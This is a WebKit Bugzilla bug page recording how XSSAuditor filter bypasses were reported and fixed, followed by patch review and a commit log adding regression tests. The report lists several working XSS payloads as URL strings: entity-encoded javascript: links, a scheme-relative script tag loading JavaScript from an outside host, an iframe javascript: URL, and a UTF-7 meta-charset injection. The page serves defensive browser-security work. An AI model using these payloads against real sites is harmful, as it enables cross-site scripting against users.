WebKit Bugzilla
New
Browse
Log In
×
Sign in with GitHub
or
Remember my login
Create Account
·
Forgot Password
Forgotten password account recovery
RESOLVED FIXED
26708
XSSAuditor false negatives
https://bugs.webkit.org/show_bug.cgi?id=26708
Summary
XSSAuditor false negatives
Adam Barth
Reported
2009-06-24 21:57:12 PDT
Gareth Heyes has been look at our XSSAuditor and found a number of false negatives. We should fix them: HTML entities: test.php?x=%3Ca%20href%3D%26%23x0000006a%26%23x61%26%23x76%26%23x61%26%23x73%26%23x63%26%23x72%26%23x69%26%23x70%26%23x74%26%23x3a%26%23x61%26%23x6c%26%23x65%26%23x72%26%23x74%26%23x28%26%23x31%26%23x29%3Etest%3Ca%3E test.php?x=%3Cimg%20src=1%20onerror=%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2341%3E Scheme relative paths: test.php?x=%3Cscript%20src=//businessinfo.co.uk/labs/xss/xss.js%3E%3C/script%3E iframe + JavaScript URL: test.php?x=%3Ciframe%20src=javascript:alert(document.domain)%3E HTTP-Equiv UTF-7: test.php?x=%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html;%20charset=UTF-7%22%20/%3E%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-
Attachments
Initial patch for false negatives with tests
(24.77 KB, patch)
2009-06-25 23:28 PDT
,
Daniel Bates
no flags
Details
Formatted Diff
Diff
Updated patch with tests.
(29.97 KB, patch)
2009-06-26 21:51 PDT
,
Daniel Bates
no flags
Details
Formatted Diff
Diff
Updated patch with tests.
(29.95 KB, patch)
2009-06-26 22:03 PDT
,
Daniel Bates
abarth
: review-
Details
Formatted Diff
Diff
Patch without HTML entities support
(18.05 KB, patch)
2009-06-27 09:52 PDT
,
Daniel Bates
abarth
: review+
Details
Formatted Diff
Diff
Show Obsolete
(3)
View All
Add attachment
proposed patch, testcase, etc.
Daniel Bates
Comment 1
2009-06-25 23:28:07 PDT
Created
attachment 31912
[details]
Initial patch for false negatives with tests Resolves issues with HTML entities, scheme relative paths, and iFrame JavaScript URLs. Fix for the HTTP-Equiv UTF-7 forthcoming.
Adam Barth
Comment 2
2009-06-26 00:17:40 PDT
In general, we shouldn't be duplicating code from other source files. You should modify the other files to expose the functions you need in their header files. For example, fixUpChar could be moved to HTMLTokenizer.h (and possibly renamed) and similarly hexDigitValue. I also wish we didn't have to write our own XSSAuditor::decodeURLHTMLEntities. Does this function not exist elsewhere? If not, we should add it to the right file instead of adding it to the auditor directly. Also for XSSAuditor::findInRequest, we should only search the parent frame if the current frame's URL is about:blank. That should cover the <iframe src="javascript:..."> case. Finally, we should do the XSS_AUDITOR_PAGE_HEADERS work in a separate bug / patch because it's not related to these false negatives.
Daniel Bates
Comment 3
2009-06-26 00:38:10 PDT
I will clean up the patch. I could not find an equivalent function to XSSAuditor::decodeURLHTMLEntities. (In reply to
comment #2
)
> In general, we shouldn't be duplicating code from other source files. You > should modify the other files to expose the functions you need in their header > files. For example, fixUpChar could be moved to HTMLTokenizer.h (and possibly > renamed) and similarly hexDigitValue. > > I also wish we didn't have to write our own XSSAuditor::decodeURLHTMLEntities. > Does this function not exist elsewhere? If not, we should add it to the right > file instead of adding it to the auditor directly. Also for > XSSAuditor::findInRequest, we should only search the parent frame if the > current frame's URL is about:blank. That should cover the <iframe > src="javascript:..."> case. > > Finally, we should do the XSS_AUDITOR_PAGE_HEADERS work in a separate bug / > patch because it's not related to these false negatives. >
Daniel Bates
Comment 4
2009-06-26 21:51:10 PDT
Created
attachment 31972
[details]
Updated patch with tests. Cleaned up patch. Fixed HTTP-Equiv UTF-7. I was not sure where to move the method XSSAuditor::decodeHTMLEntities (formally named decodeURLHTMLEntities). Any suggestions?
Daniel Bates
Comment 5
2009-06-26 22:03:20 PDT
Created
attachment 31973
[details]
Updated patch with tests. Removed extraneous header: HTTPHeaderMap.h
Adam Barth
Comment 6
2009-06-27 08:56:41 PDT
Comment on
attachment 31973
[details]
Updated patch with tests. This looks great except for the HTML entities part. That code really shouldn't be in the XSSAuditor. It should be shared with the parser. Can you post a version of the patch without the HTML entities fix? That way we can get the other issues squared away and focus on the right HTML entities patch.
Daniel Bates
Comment 7
2009-06-27 09:52:09 PDT
Created
attachment 31978
[details]
Patch without HTML entities support Removed support for HTML entities.
Adam Barth
Comment 8
2009-06-27 11:12:57 PDT
Comment on
attachment 31978
[details]
Patch without HTML entities support Thanks Dan. This looks great. There are some lines with trailing white space, but I'll fix them when I land the patch.
Adam Barth
Comment 9
2009-06-27 11:39:39 PDT
Will land.
Adam Barth
Comment 10
2009-06-27 12:38:30 PDT
I tweaked the patch slightly before landing. There isn't any need to store m_parentFrame because you can always get it from m_frame->tree()->parent(). Sending LayoutTests/ChangeLog Adding LayoutTests/http/tests/security/xssAuditor/http-equiv-utf-7-encoded-expected.txt Adding LayoutTests/http/tests/security/xssAuditor/http-equiv-utf-7-encoded.html Adding LayoutTests/http/tests/security/xssAuditor/iframe-javascript-url-expected.txt Adding LayoutTests/http/tests/security/xssAuditor/iframe-javascript-url.html Adding LayoutTests/http/tests/security/xssAuditor/resources/echo-intertag-default-encode.pl Adding LayoutTests/http/tests/security/xssAuditor/script-tag-utf-7-encoded-expected.txt Adding LayoutTests/http/tests/security/xssAuditor/script-tag-utf-7-encoded.html Adding LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-relative-scheme-expected.txt Adding LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-relative-scheme.html Sending WebCore/ChangeLog Sending WebCore/html/HTMLTokenizer.cpp Sending WebCore/page/XSSAuditor.cpp Sending WebCore/page/XSSAuditor.h Sending WebCore/platform/network/ResourceResponseBase.cpp Sending WebCore/platform/network/ResourceResponseBase.h Transmitting file data ................ Committed revision 45312.
Note
You need to
log in
before you can comment on or make changes to this bug.
Top of Page
Format For Printing
XML
Clone This Bug